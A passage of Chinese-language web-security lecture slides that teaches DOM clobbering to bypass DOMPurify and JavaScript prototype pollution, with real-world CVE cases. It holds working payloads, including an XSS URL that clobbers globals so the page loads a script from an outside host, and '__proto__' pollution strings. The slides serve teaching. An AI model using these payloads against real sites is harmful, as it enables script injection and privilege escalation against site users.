 Can be set, to change the URL.

<a> Works!

除了單純的網址...

```
<a id="customHTML" href="abc:<script>alert(1)</script>"></a>

<a id="customJS" href="abc:alert(1)"></a>
```

- abc:

  - 對 href 來說是 protocol

  - 對 JavaScript 來說是 label -> eval("abc:alert(1)") // Ok ✓
    ref. label - JavaScript

- ❓ 為什麼一定要加上 protocol?

Quick Example

```html
<div id="note">Loading...</div>
<script>
    // fetching userInput ...
    let sanitized = DOMPurify.sanitize(userInput); // santized!
    document.getElementById("note").innerHTML = sanitized;
    if(window.TEST) {
        let script = document.createElement('script');
        script.src = testLocation;
        document.body.appendChild(script);
    }
</script>
```

Quick Example

```html
<div id="note">Loading...</div>
<script>
    // fetching userInput ...
    let sanitized = DOMPurify.sanitize(userInput); // santized!
    document.getElementById("note").innerHTML = sanitized;
    if(window.TEST) {
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        document.body.appendChild(script);
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</script>
```

Quick Example

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<div id="note">Loading...</div>
<script>
    // fetching userInput ...
    let sanitized = DOMPurify.sanitize(userInput); // santized!
    document.getElementById("note").innerHTML = sanitized;
    if(window.TEST) {
        let script = document.createElement('script');
        script.src = testLocation;
        document.body.appendChild(script);
    }
</script>
```

Quick Example

```html
<div id="note">Loading...</div>
<script>
    // fetching userInput ...
    let sanitized = DOMPurify.sanitize(userInput); // santized!
    document.getElementById("note").innerHTML = sanitized;
    if(window.TEST) {
        let script = document.createElement('script');
        script.src = testLocation;
        document.body.appendChild(script);
    }
</script>
```

```
http://splitline.tw/dom.html?xss=<a id=TEST><a id=testLocation
                                 href=//splitline.tw/jquery.js>
```

Advanced: Two Level / Part 1

- 又双來讀一次 spec: The form element

form[index]

Returns the *index*th element in the form (excluding image buttons for historical reasons).

form[name]

Returns the form control (or, if there are several, a `RadioNodeList` of the form controls) in the form with the given ID or `name` (excluding image buttons for historical reasons); or, if there are none, returns the `img` element with the given ID.

Once an element has been referenced using a particular name, that name will continue being available as a way to reference that element in this method, even if the element's actual ID or `name` changes, for as long as the element remains in the tree.

If there are multiple matching items, then a `RadioNodeList` object containing all those elements is returned.

Advanced: Two Level / Part 1

沒有 `<a>` 可用 QQ

- 又双來讀一次 spec: <u>The form element</u>

- 可用 form.*elementId*, form.*elementName* 拿到 `form control`

```html
<form id="test">
    <input name="meow">
    <button id="nyan"></button>
</form>

<script>
    console.log(test.meow); // <input name="meow">
    console.log(test.nyan); // <button id="nyan"></button>
</script>
```

Advanced: Two Level / Part 2

- 又双叒來讀一次 spec: [Named access on the Window object](#)

To [determine the value of a named property](#) *name* in a `Window` object *window*, the user agent must return the value obtained using the following steps:

1. Let *objects* be the list of [named objects](#) of *window* with the name *name*.

> **Note**
>
> *There will be at least one such object, by definition.*

2. If *objects* contains a [browsing context](#), then return the `WindowProxy` object of the [nested browsing context](#) of the first [browsing context container](#) in [tree order](#) whose [nested browsing context](#) is in *objects*.

3. Otherwise, if *objects* has only one element, return that element.

4. Otherwise return an `HTMLCollection` rooted at *window*'s [associated Document](#), whose filter matches only [named objects](#) of *window* with the name *name*. (By definition, these will all be elements.)

Advanced: Two Level / Part 2

- 又双叒來讀一次 spec: <u>Named access on the Window object</u>

- 如果一個值代表很多個 element --> 回傳 **HTMLCollection**

- 可以用 name 對 HTMLCollection 取值

```html
<a id="meow">A</a>
<a id="meow">B</a>


<script>
    console.log(meow); // HTMLCollection(2) [...]
</script>
```

⚠️ Firefox 沒照 spec 實作

Advanced: Two Level / Part 2

- 又双叒來讀一次 spec: Named access on the Window object

- 如果一個值代表很多個 element --> 回傳 **HTMLCollection**

- 可以用 name 對 HTMLCollection 取值

```
<a id="meow">A</a>
<a id="meow" name="nyan">B</a>
```

⚠️ Firefox 沒照 spec 實作

```
<script>
    console.log(meow.meow);      // <a id="meow">A</a>
    console.log(meow.nyan);      // <a id="meow" name="nyan">B</a>
</script>
```

Advanced: Three Level

- Two level: Part 1 + Part 2 --> Three level!

```html
<form id="test">
<form id="test" name="nyan">
    <input name="meow">
</form>

<script>
    console.log(test);              // HTMLCollection(2) [...]
    console.log(test.nyan);         // <form id="test"
    name="nyan">
    console.log(test.nyan.meow); // <input name="meow">
</script>
```

⚠️ Firefox 沒照 spec 實作

Advanced: ∞ Level

- **又双叒叕**來讀一次 spec: Named access on the Window object

- `iframe element` 會產生一個子 `Windows --> 無限嵌套`

- 可透過 `srcdoc` 操控 `iframe` 內容

The **document-tree child browsing context name property set** of a `Window` object *window* is the return value of running these steps:

1. If *window*'s browsing context is null, then return the empty list.

2. Let *childBrowsingContexts* be all document-tree child browsing contexts of *window*'s browsing context whose browsing context name is not the empty string, in order, and including only the first document-tree child browsing context with a given name if multiple document-tree child browsing contexts have the same one.

3. Remove each browsing context from *childBrowsingContexts* whose active document's origin is not same origin with *window*'s relevant settings object's origin and whose browsing context name does not match the name of its container's `name` content attribute value.

4. Return the browsing context names of *childBrowsingContexts*, in the same order.

Advanced: ∞ Level

- 缺點：`iframe` 載入需要時間差

```
<iframe name="level1" srcdoc='
<iframe name="level2" srcdoc="
    <iframe name=&amp;quot;level3&amp;quot;
        srcdoc=&amp;quot;<a id=final></a>&amp;quot;>
        </iframe>
    </iframe>
"></iframe>
'></iframe>
```

```
htmlentities(
    htmlentities('"')
)
```

Advanced: ∞ Level

- 缺點：`iframe` 載入需要時間差

- 可能解法：使用 `remote css` 延時（可能受 `CSP` 限制）

```
<iframe name="level1" srcdoc='
<iframe name="level2" srcdoc="
    <iframe name=&amp;quot;level3&amp;quot;
        srcdoc=&amp;quot;<a id=final></a>&amp;quot;>
        </iframe>
    </iframe>
"></iframe>
'></iframe>
<style> @import 'http://example.com'; </style>
```

```
htmlentities(
    htmlentities('"')
)
```

More about DOM clobbering

- 現實案例: XSS in GMail's AMP4Email via DOM Clobbering

- References:

    - DOM Clobbering strikes back

    - HTML Spec

JavaScript
Prototype Pollution

JavaScript OOP 101

```
1. function Cat() {
2.   this.sound = 'meow!';
3.   this.meow = function () {
4.     alert(this.sound);
5.   }
6. }
```

← 綁在 **object** 上

```
1. function Cat() {
2.   this.sound = 'meow!';
3. }
4. Cat.prototype.meow = function () {
5.   alert(this.sound);
6. }
```

綁在 **class** 上 ⟶

JavaScript OOP 101

```
1. function Cat() {
2.   this.sound = 'meow!';
3. }
4. Cat.prototype.meow = function () {
5.   alert(this.sound);
6. }
7. let kitten = new Cat();
```

- `Class.prototype`

  其 `instance` 都會有 `prototype` 裡面的屬性和方法。

- `instance.__proto__`

  指向所屬 `class` 的 `prototype`。

kitten.__proto__ === Cat.prototype

JavaScript OOP: 繼承

```
1. function Animal() {
2.   this.cute = true;
3. }
4. function Cat() {
5.   this.sound = 'meow!';
6. }
7. Cat.prototype = new Animal();
8. let kitten = new Cat();
9. kitten.sound;    // "meow!"
10.kitten.cute;     // true
```

- `Class.prototype`

  其 `instance` 都會有 `prototype` 裡面的屬性和方法。

- 繼承

  讓子 `class` 的 `prototype` 指向想繼承的父 `class instance`。

  標準做法應該是：
  `object.create(Animal.prototype)`

JavaScript OOP: 繼承

```
1. function Animal() {
2.   this.cute = true;
3. }
4. function Cat() {
5.   this.sound = 'meow!';
6. }
7. Cat.prototype = new Animal();
8. let kitten = new Cat();
9. kitten.sound;      // "meow!"
10.kitten.cute;       // true
```

```
Cat {
  sound: "meow!",
  __proto__
}

    Animal {
      cute: true,
      __proto__
    }

        Object {
          toString, valueOf, …
          __proto__: null
        }
```

JavaScript OOP: 繼承

```
1. function Animal() {
2.   this.cute = true;
3. }
4. function Cat() {
5.   this.sound = 'meow!';
6. }
7. Cat.prototype = new Animal();
8. let kitten = new Cat();
9. kitten.sound;     // "meow!"
10.kitten.cute;      // true
```

```
>> kitten
<- ▶▢ { sound: "meow!" }
```

JavaScript OOP: 繼承

```
1. function Animal() {
2.   this.cute = true;
3. }
4. function Cat() {
5.   this.sound = 'meow!';
6. }
7. Cat.prototype = new Animal();
8. let kitten = new Cat();
9. kitten.sound;      // "meow!"
10.kitten.cute;       // true
```

```
>> kitten
<- ▶▢ { sound: "meow!" }
>> kitten.__proto__
<- ▶▢ { cute: true }
```

JavaScript OOP: 繼承

```javascript
1. function Animal() {
2.   this.cute = true;
3. }
4. function Cat() {
5.   this.sound = 'meow!';
6. }
7. Cat.prototype = new Animal();
8. let kitten = new Cat();
9. kitten.sound;    // "meow!"
10.kitten.cute;     // true
```

```
>> kitten
<- ▶ { sound: "meow!" }
>> kitten.__proto__
<- ▶ { cute: true }
>> kitten.__proto__.__proto__
<- ▶ Object { … }
```

JavaScript OOP: 繼承

```javascript
1. function Animal() {
2.   this.cute = true;
3. }
4. function Cat() {
5.   this.sound = 'meow!';
6. }
7. Cat.prototype = new Animal();
8. let kitten = new Cat();
9. kitten.sound;      // "meow!"
10.kitten.cute;       // true
```

```
>> kitten
<- ▶ { sound: "meow!" }
>> kitten.__proto__
<- ▶ { cute: true }
>> kitten.__proto__.__proto__
<- ▶ Object { … }
>> kitten.__proto__.__proto__.__proto__
<- ▶ null
```

JavaScript OOP: 繼承

```javascript
1. function Animal() {
2.   this.cute = true;
3. }
4. function Cat() {
5.   this.sound = 'meow!';
6. }
7. Cat.prototype = new Animal();
8. let kitten = new Cat();
9. kitten.sound;     // "meow!"
10.kitten.cute;      // true
```

修改它會怎樣呢？

```
>> kitten
<- ▶⬚ { sound: "meow!" }
>> kitten.__proto__
<- ▶⬚ { cute: true }
>> kitten.__proto__.__proto__
<- ▶⬚ Object { … }
>> kitten.__proto__.__proto__.__proto__
<- ▶⬚ null
```

Prototype Pollution

```
>> let user = { admin: false }
```

Prototype Pollution

```
>> let user = { admin: false }
>> user.__proto__.admin = true
>> user.admin
```

Prototype Pollution

```
>> let user = { admin: false }
>> user.__proto__.admin = true
>> user.admin
<- ▶? false
                        user.admin
                                -> false
                        user.__proto__.admin        ->
                        true

                                ⋮
```

Prototype Pollution

```
>> let user = { admin: false }
>> user.__proto__.admin = true
>> user.admin
<- ▶▢ false
>> let anotherUser = { }
>> anotherUser.admin
```

Prototype Pollution

```
>> let user = { admin: false }
>> user.__proto__.admin = true
>> user.admin
<- ▶? false
>> let anotherUser = { }
>> anotherUser.admin
<- ▶? true
```

user.admin   -
> undefined
user.__proto__.admin   -> true

Prototype Pollution: 出現場景

- 能任意操作 object 的 key: value -> prototype pollution
- Set

  - <u>Prototype Pollution in lodash</u> (_.setWith, _.set)

  - e.g. .set('__proto__.x', 'polluted')
- Merge / Extend

  - <u>CVE-2019-11358</u> (jQuery $.extend)

  - e.g. .merge({},JSON.parse('{"__proto__":{"x":"polluted"}}'))
- ......

Fronted Scenario

[BlackFan/client-side-prototype-pollution: Prototype Pollution and useful Script Gadgets](#)

Realworld Cases

- HackerOne **XSS** (Bug Bounty)
  [#986386 Reflected XSS on www.hackerone.com via Wistia embed code](#)

- and... a lot of **XSS**
  https://blog.s1r1us.ninja/research/PP

- Kibana **RCE** (CVE-2019-7609)
  [Prototype Pollution in Kibana](#)

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